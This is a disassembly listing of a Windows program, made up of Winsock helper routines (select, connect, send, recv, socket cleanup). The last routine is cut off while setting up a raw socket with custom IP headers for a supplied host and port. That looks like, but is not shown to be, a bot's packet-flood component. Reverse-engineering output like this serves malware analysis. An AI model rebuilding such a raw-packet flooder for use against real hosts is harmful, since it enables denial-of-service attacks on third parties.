; Attributes: bp-based frame


sub_404E1C	proc near		; CODE XREF: sub_41349C+45Fp
					; sub_4143B0+14Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	esi
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		and	[ebp+var_8], 0
		jmp	short loc_404E41
; ---------------------------------------------------------------------------


loc_404E3A:				; CODE XREF: sub_404E1C+BDj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_404E41:				; CODE XREF: sub_404E1C+1Cj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		cmp	ecx, [eax+4]
		jnb	loc_404EDE


loc_404E50:				; CODE XREF: sub_404E1C+B7j
		and	[ebp+var_14], 0
		jmp	short loc_404E5D
; ---------------------------------------------------------------------------


loc_404E56:				; CODE XREF: sub_404E1C:loc_404E86j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_404E5D:				; CODE XREF: sub_404E1C+38j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnb	short loc_404E88
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	eax, [ecx+eax*4+810h]
		cmp	eax, [esi+edx*4+0Ch]
		jnz	short loc_404E86
		jmp	short loc_404E88
; ---------------------------------------------------------------------------


loc_404E86:				; CODE XREF: sub_404E1C+66j
		jmp	short loc_404E56
; ---------------------------------------------------------------------------


loc_404E88:				; CODE XREF: sub_404E1C+4Dj
					; sub_404E1C+68j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_14]
		cmp	ecx, [eax+80Ch]
		jnz	short loc_404ECF
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+80Ch], 200h
		jnb	short loc_404ECF
		mov	eax, [ebp+var_14]
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi+edx*4+0Ch]
		mov	[ecx+eax*4+810h], edx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+80Ch]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+80Ch], eax


loc_404ECF:				; CODE XREF: sub_404E1C+78j
					; sub_404E1C+87j
		xor	eax, eax
		test	eax, eax
		jnz	loc_404E50
		jmp	loc_404E3A
; ---------------------------------------------------------------------------


loc_404EDE:				; CODE XREF: sub_404E1C+2Ej
		and	[ebp+var_10], 0
		mov	[ebp+var_C], 3E8h
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_404F1A
		cmp	[ebp+var_4], 0FFFFFFFFh
		jz	short loc_404F1A
		mov	[ebp+var_18], 1
		jmp	short loc_404F1E
; ---------------------------------------------------------------------------


loc_404F1A:				; CODE XREF: sub_404E1C+EDj
					; sub_404E1C+F3j
		and	[ebp+var_18], 0


loc_404F1E:				; CODE XREF: sub_404E1C+FCj
		mov	eax, [ebp+var_18]
		pop	esi
		leave
		retn
sub_404E1C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F24	proc near		; CODE XREF: sub_41349C+470p
					; sub_4143B0+16Dp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+8]
		mov	[ebp+var_4], eax
		jmp	short loc_404F3A
; ---------------------------------------------------------------------------


loc_404F33:				; CODE XREF: sub_404F24:loc_404F77j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F3A:				; CODE XREF: sub_404F24+Dj
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404F79
		mov	eax, [ebp+arg_0]
		add	eax, 80Ch
		push	eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_404F77
		mov	eax, [ebp+var_4]
		inc	eax
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx+eax*4+0Ch]
		jmp	short locret_404F7B
; ---------------------------------------------------------------------------


loc_404F77:				; CODE XREF: sub_404F24+3Bj
		jmp	short loc_404F33
; ---------------------------------------------------------------------------


loc_404F79:				; CODE XREF: sub_404F24+1Fj
		xor	eax, eax

locret_404F7B:				; CODE XREF: sub_404F24+51j
		leave
		retn
sub_404F24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404F7D	proc near		; CODE XREF: sub_404FD0+6p
					; sub_41349C+59Cp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		jmp	short loc_404F8E
; ---------------------------------------------------------------------------


loc_404F87:				; CODE XREF: sub_404F7D+37j
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax


loc_404F8E:				; CODE XREF: sub_404F7D+8j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_4]
		cmp	ecx, [eax+4]
		jnb	short loc_404FB6
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		push	dword ptr [ecx+eax*4+0Ch]
		call	sub_4053B1
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]
		and	dword ptr [ecx+eax*4+0Ch], 0
		jmp	short loc_404F87
; ---------------------------------------------------------------------------


loc_404FB6:				; CODE XREF: sub_404F7D+1Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+4], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+8], 0
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+80Ch], 0
		leave
		retn
sub_404F7D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FD0	proc near		; CODE XREF: sub_41349C+5FBp
					; sub_4143B0+238p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	sub_404F7D
		pop	ecx
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		pop	ebp
		retn
sub_404FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404FE7	proc near		; CODE XREF: sub_412BC9+11p
					; sub_41349C+40Ep ...

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_405010
		mov	[ebp+var_20], 17h
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405010:				; CODE XREF: sub_404FE7+1Ej
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405023
		mov	[ebp+var_20], 2
		jmp	short loc_405027
; ---------------------------------------------------------------------------


loc_405023:				; CODE XREF: sub_404FE7+31j
		and	[ebp+var_20], 0


loc_405027:				; CODE XREF: sub_404FE7+27j
					; sub_404FE7+3Aj
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jz	short loc_405057
		xor	eax, eax
		jmp	locret_4050E8
; ---------------------------------------------------------------------------


loc_405057:				; CODE XREF: sub_404FE7+67j
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], eax
		jmp	short loc_405068
; ---------------------------------------------------------------------------


loc_40505F:				; CODE XREF: sub_404FE7+A8j
					; sub_404FE7+F4j
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_405068:				; CODE XREF: sub_404FE7+76j
		cmp	[ebp+var_4], 0
		jz	short loc_4050DD
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_2C], eax
		cmp	[ebp+var_2C], 0FFFFFFFFh
		jnz	short loc_405091
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_405091:				; CODE XREF: sub_404FE7+A6j
		push	0
		push	[ebp+var_2C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_2C]
		call	dword_4171F4	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4050D2
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jnz	short loc_4050D2
		push	[ebp+var_28]
		call	dword_41DF6C	; freeaddrinfo
		mov	eax, [ebp+var_2C]
		jmp	short locret_4050E8
; ---------------------------------------------------------------------------


loc_4050D2:				; CODE XREF: sub_404FE7+CEj
					; sub_404FE7+DBj
		push	[ebp+var_2C]
		call	sub_4053B1
		pop	ecx
		jmp	short loc_40505F
; ---------------------------------------------------------------------------


loc_4050DD:				; CODE XREF: sub_404FE7+85j
		push	[ebp+var_28]
		call	dword_41DF6C	; freeaddrinfo
		xor	eax, eax

locret_4050E8:				; CODE XREF: sub_404FE7+6Bj
					; sub_404FE7+E9j
		leave
		retn
sub_404FE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4050EA	proc near		; CODE XREF: sub_401E38+80p
					; sub_402698+16p ...

var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 844h
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		mov	[ebp+var_834], eax
		mov	eax, [ebp+arg_C]
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		imul	edx, 3E8h
		mov	[ebp+var_830], edx
		push	20h
		push	0
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+arg_8]
		and	eax, 2
		test	eax, eax
		jz	short loc_40513E
		mov	[ebp+var_20], 17h
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_40513E:				; CODE XREF: sub_4050EA+49j
		mov	eax, [ebp+arg_8]
		and	eax, 1
		test	eax, eax
		jz	short loc_405151
		mov	[ebp+var_20], 2
		jmp	short loc_405155
; ---------------------------------------------------------------------------


loc_405151:				; CODE XREF: sub_4050EA+5Cj
		and	[ebp+var_20], 0


loc_405155:				; CODE XREF: sub_4050EA+52j
					; sub_4050EA+65j
		mov	eax, [ebp+arg_8]
		and	eax, 4
		xor	ecx, ecx
		test	eax, eax
		setnz	cl
		inc	ecx
		mov	[ebp+var_1C], ecx
		lea	eax, [ebp+var_82C]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41DF64	; getaddrinfo
		test	eax, eax
		jz	short loc_405188
		xor	eax, eax
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_405188:				; CODE XREF: sub_4050EA+95j
		mov	eax, [ebp+var_82C]
		mov	[ebp+var_4], eax
		jmp	short loc_40519C
; ---------------------------------------------------------------------------


loc_405193:				; CODE XREF: sub_4050EA+E3j
					; sub_4050EA+128j ...
		mov	eax, [ebp+var_4]
		mov	eax, [eax+1Ch]
		mov	[ebp+var_4], eax


loc_40519C:				; CODE XREF: sub_4050EA+A7j
		cmp	[ebp+var_4], 0
		jz	loc_40537D
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+8]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+4]
		call	dword_417218	; socket
		mov	[ebp+var_83C], eax
		cmp	[ebp+var_83C], 0FFFFFFFFh
		jnz	short loc_4051CF
		jmp	short loc_405193
; ---------------------------------------------------------------------------


loc_4051CF:				; CODE XREF: sub_4050EA+E1j
		push	0
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+var_4]
		push	dword ptr [eax+18h]
		push	[ebp+var_83C]
		call	dword_4171F4	; connect
		mov	[ebp+var_838], eax
		cmp	[ebp+var_838], 0
		jz	short loc_405217
		call	dword_417224	; WSAGetLastError
		cmp	eax, 2733h
		jz	short loc_405217
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_405217:				; CODE XREF: sub_4050EA+119j
					; sub_4050EA+126j
		and	[ebp+var_828], 0


loc_40521E:				; CODE XREF: sub_4050EA+1AFj
		and	[ebp+var_840], 0
		jmp	short loc_405234
; ---------------------------------------------------------------------------


loc_405227:				; CODE XREF: sub_4050EA:loc_405259j
		mov	eax, [ebp+var_840]
		inc	eax
		mov	[ebp+var_840], eax


loc_405234:				; CODE XREF: sub_4050EA+13Bj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnb	short loc_40525B
		mov	eax, [ebp+var_840]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405259
		jmp	short loc_40525B
; ---------------------------------------------------------------------------


loc_405259:				; CODE XREF: sub_4050EA+16Bj
		jmp	short loc_405227
; ---------------------------------------------------------------------------


loc_40525B:				; CODE XREF: sub_4050EA+156j
					; sub_4050EA+16Dj
		mov	eax, [ebp+var_840]
		cmp	eax, [ebp+var_828]
		jnz	short loc_405295
		cmp	[ebp+var_828], 200h
		jnb	short loc_405295
		mov	eax, [ebp+var_840]
		mov	ecx, [ebp+var_83C]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_828]
		inc	eax
		mov	[ebp+var_828], eax


loc_405295:				; CODE XREF: sub_4050EA+17Dj
					; sub_4050EA+189j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_40521E
		lea	eax, [ebp+var_834]
		push	eax
		push	0
		lea	eax, [ebp+var_828]
		push	eax
		push	0
		push	0
		call	dword_41722C	; select
		cmp	eax, 1
		jnz	short loc_4052E0
		push	1
		push	[ebp+var_83C]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	[ebp+var_82C]
		call	dword_41DF6C	; freeaddrinfo
		mov	eax, [ebp+var_83C]
		jmp	locret_40538B
; ---------------------------------------------------------------------------


loc_4052E0:				; CODE XREF: sub_4050EA+1CEj
					; sub_4050EA+27Cj
		and	[ebp+var_844], 0
		jmp	short loc_4052F6
; ---------------------------------------------------------------------------


loc_4052E9:				; CODE XREF: sub_4050EA:loc_405360j
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax


loc_4052F6:				; CODE XREF: sub_4050EA+1FDj
		mov	eax, [ebp+var_844]
		cmp	eax, [ebp+var_828]
		jnb	short loc_405362
		mov	eax, [ebp+var_844]
		mov	eax, [ebp+eax*4+var_824]
		cmp	eax, [ebp+var_83C]
		jnz	short loc_405360


loc_405319:				; CODE XREF: sub_4050EA+265j
		mov	eax, [ebp+var_828]
		dec	eax
		cmp	[ebp+var_844], eax
		jnb	short loc_405351
		mov	eax, [ebp+var_844]
		mov	ecx, [ebp+var_844]
		mov	ecx, [ebp+ecx*4+var_820]
		mov	[ebp+eax*4+var_824], ecx
		mov	eax, [ebp+var_844]
		inc	eax
		mov	[ebp+var_844], eax
		jmp	short loc_405319
; ---------------------------------------------------------------------------


loc_405351:				; CODE XREF: sub_4050EA+23Cj
		mov	eax, [ebp+var_828]
		dec	eax
		mov	[ebp+var_828], eax
		jmp	short loc_405362
; ---------------------------------------------------------------------------


loc_405360:				; CODE XREF: sub_4050EA+22Dj
		jmp	short loc_4052E9
; ---------------------------------------------------------------------------


loc_405362:				; CODE XREF: sub_4050EA+218j
					; sub_4050EA+274j
		xor	eax, eax
		test	eax, eax
		jnz	loc_4052E0
		push	[ebp+var_83C]
		call	sub_4053B1
		pop	ecx
		jmp	loc_405193
; ---------------------------------------------------------------------------


loc_40537D:				; CODE XREF: sub_4050EA+B6j
		push	[ebp+var_82C]
		call	dword_41DF6C	; freeaddrinfo
		xor	eax, eax

locret_40538B:				; CODE XREF: sub_4050EA+99j
					; sub_4050EA+1F1j
		leave
		retn
sub_4050EA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40538D	proc near		; CODE XREF: sub_401E38+26Ep
					; sub_4020C2+3FBp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	1
		push	[ebp+arg_0]
		call	dword_417200	; shutdown
		push	3E8h
		call	dword_41709C	; Sleep
		push	[ebp+arg_0]
		call	sub_4053B1
		pop	ecx
		pop	ebp
		retn
sub_40538D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053B1	proc near		; CODE XREF: sub_404279+77p
					; sub_40432E+1Cp ...

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_0]
		call	dword_417230	; closesocket
		pop	ebp
		retn
sub_4053B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053BF	proc near		; CODE XREF: sub_401E38+15Cp
					; sub_4020C2+2F9p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_41720C	; send
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		leave
		retn
sub_4053BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053DC	proc near		; CODE XREF: sub_403DF3+D1p
					; sub_405443+21p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_8], 2
		jnb	short loc_4053F6
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_4053F6:				; CODE XREF: sub_4053DC+8j
		push	0
		mov	eax, [ebp+arg_8]
		dec	eax
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_417248	; recv
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_405418
		cmp	[ebp+var_4], 0FFFFFFFFh
		jnz	short loc_40541D


loc_405418:				; CODE XREF: sub_4053DC+34j
		mov	eax, [ebp+var_4]
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_40541D:				; CODE XREF: sub_4053DC+3Aj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jb	short loc_405435
		push	271Eh
		call	dword_417234	; WSASetLastError
		or	eax, 0FFFFFFFFh
		jmp	short locret_405441
; ---------------------------------------------------------------------------


loc_405435:				; CODE XREF: sub_4053DC+47j
		mov	eax, [ebp+arg_4]
		add	eax, [ebp+var_4]
		and	byte ptr [eax],	0
		mov	eax, [ebp+var_4]

locret_405441:				; CODE XREF: sub_4053DC+18j
					; sub_4053DC+3Fj ...
		leave
		retn
sub_4053DC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405443	proc near		; CODE XREF: sub_402698+8Dp
					; sub_402698+2BEp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_C]
		push	[ebp+arg_0]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40545B
		xor	eax, eax
		jmp	short loc_40546C
; ---------------------------------------------------------------------------


loc_40545B:				; CODE XREF: sub_405443+12j
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4053DC
		add	esp, 0Ch


loc_40546C:				; CODE XREF: sub_405443+16j
		pop	ebp
		retn
sub_405443	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40546E	proc near		; CODE XREF: sub_405443+9p
					; sub_410649+2Dp ...

var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_804		= dword	ptr -804h
var_800		= dword	ptr -800h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1018h
		call	sub_416BC0
		and	[ebp+var_804], 0
		and	[ebp+var_1008],	0


loc_405489:				; CODE XREF: sub_40546E+90j
		and	[ebp+var_1014],	0
		jmp	short loc_40549F
; ---------------------------------------------------------------------------


loc_405492:				; CODE XREF: sub_40546E:loc_4054C1j
		mov	eax, [ebp+var_1014]
		inc	eax
		mov	[ebp+var_1014],	eax


loc_40549F:				; CODE XREF: sub_40546E+22j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnb	short loc_4054C3
		mov	eax, [ebp+var_1014]
		mov	eax, [ebp+eax*4+var_800]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4054C1
		jmp	short loc_4054C3
; ---------------------------------------------------------------------------


loc_4054C1:				; CODE XREF: sub_40546E+4Fj
		jmp	short loc_405492
; ---------------------------------------------------------------------------


loc_4054C3:				; CODE XREF: sub_40546E+3Dj
					; sub_40546E+51j
		mov	eax, [ebp+var_1014]
		cmp	eax, [ebp+var_804]
		jnz	short loc_4054FA
		cmp	[ebp+var_804], 200h
		jnb	short loc_4054FA
		mov	eax, [ebp+var_1014]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_800], ecx
		mov	eax, [ebp+var_804]
		inc	eax
		mov	[ebp+var_804], eax


loc_4054FA:				; CODE XREF: sub_40546E+61j
					; sub_40546E+6Dj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405489


loc_405500:				; CODE XREF: sub_40546E+107j
		and	[ebp+var_1018],	0
		jmp	short loc_405516
; ---------------------------------------------------------------------------


loc_405509:				; CODE XREF: sub_40546E:loc_405538j
		mov	eax, [ebp+var_1018]
		inc	eax
		mov	[ebp+var_1018],	eax


loc_405516:				; CODE XREF: sub_40546E+99j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnb	short loc_40553A
		mov	eax, [ebp+var_1018]
		mov	eax, [ebp+eax*4+var_1004]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_405538
		jmp	short loc_40553A
; ---------------------------------------------------------------------------


loc_405538:				; CODE XREF: sub_40546E+C6j
		jmp	short loc_405509
; ---------------------------------------------------------------------------


loc_40553A:				; CODE XREF: sub_40546E+B4j
					; sub_40546E+C8j
		mov	eax, [ebp+var_1018]
		cmp	eax, [ebp+var_1008]
		jnz	short loc_405571
		cmp	[ebp+var_1008],	200h
		jnb	short loc_405571
		mov	eax, [ebp+var_1018]
		mov	ecx, [ebp+arg_0]
		mov	[ebp+eax*4+var_1004], ecx
		mov	eax, [ebp+var_1008]
		inc	eax
		mov	[ebp+var_1008],	eax


loc_405571:				; CODE XREF: sub_40546E+D8j
					; sub_40546E+E4j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_405500
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_1010],	eax
		mov	eax, [ebp+arg_4]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		imul	edx, 3E8h
		mov	[ebp+var_100C],	edx
		lea	eax, [ebp+var_1010]
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	0
		lea	eax, [ebp+var_804]
		push	eax
		push	1
		call	dword_41722C	; select
		cmp	eax, 1
		jz	short loc_4055C9
		xor	eax, eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055C9:				; CODE XREF: sub_40546E+155j
		lea	eax, [ebp+var_804]
		push	eax
		push	[ebp+arg_0]
		call	sub_416E30	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_4055E1
		push	1
		pop	eax
		jmp	short locret_4055E3
; ---------------------------------------------------------------------------


loc_4055E1:				; CODE XREF: sub_40546E+16Cj
		xor	eax, eax

locret_4055E3:				; CODE XREF: sub_40546E+159j
					; sub_40546E+171j
		leave
		retn
sub_40546E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4055E5	proc near		; DATA XREF: sub_405E45+113o

var_1358	= dword	ptr -1358h
var_1354	= dword	ptr -1354h
var_1350	= dword	ptr -1350h
var_134C	= dword	ptr -134Ch
var_1348	= dword	ptr -1348h
var_1344	= dword	ptr -1344h
var_1340	= dword	ptr -1340h
var_133C	= dword	ptr -133Ch
var_1338	= dword	ptr -1338h
var_1334	= dword	ptr -1334h
var_118D	= byte ptr -118Dh
var_108D	= byte ptr -108Dh
var_1087	= dword	ptr -1087h
var_1083	= dword	ptr -1083h
var_107F	= dword	ptr -107Fh
var_1078	= dword	ptr -1078h
var_1074	= byte ptr -1074h
var_1058	= byte ptr -1058h
var_14		= dword	ptr -14h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1358h
		call	sub_416BC0
		push	2B9h
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1334]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	sub_416B4C	; free
		pop	ecx
		push	0FFh
		push	3
		push	2
		call	dword_417218	; socket
		mov	[ebp+var_1078],	eax
		cmp	[ebp+var_1078],	0FFFFFFFFh
		jnz	short loc_405643
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405643:				; CODE XREF: sub_4055E5+49j
		mov	[ebp+var_1340],	1
		push	4
		lea	eax, [ebp+var_1340]
		push	eax
		push	2
		push	0
		push	[ebp+var_1078]
		call	dword_417204	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40567E
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_40567E:				; CODE XREF: sub_4055E5+84j
		push	0
		push	[ebp+var_1078]
		call	sub_404457
		pop	ecx
		pop	ecx
		push	10h
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		lea	eax, [ebp+var_108D]
		push	eax
		call	sub_416B9C	; atoi
		pop	ecx
		push	eax
		call	dword_417238	; htons
		mov	[ebp+var_E], ax
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_417244	; inet_addr
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405710
		lea	eax, [ebp+var_118D]
		push	eax
		call	dword_41723C	; gethostbyname
		mov	[ebp+var_1344],	eax
		cmp	[ebp+var_1344],	0
		jnz	short loc_405700
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405700:				; CODE XREF: sub_4055E5+106j
		mov	eax, [ebp+var_1344]
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax


loc_405710:				; CODE XREF: sub_4055E5+EAj
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_405729
		push	[ebp+var_1334]
		call	sub_409763
		pop	ecx
		xor	eax, eax
		jmp	locret_405E41
; ---------------------------------------------------------------------------


loc_405729:				; CODE XREF: sub_4055E5+12Fj
		push	1060h
		push	0
		lea	eax, [ebp+var_1074]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		lea	eax, [ebp+var_1074]
		mov	[ebp+var_133C],	eax
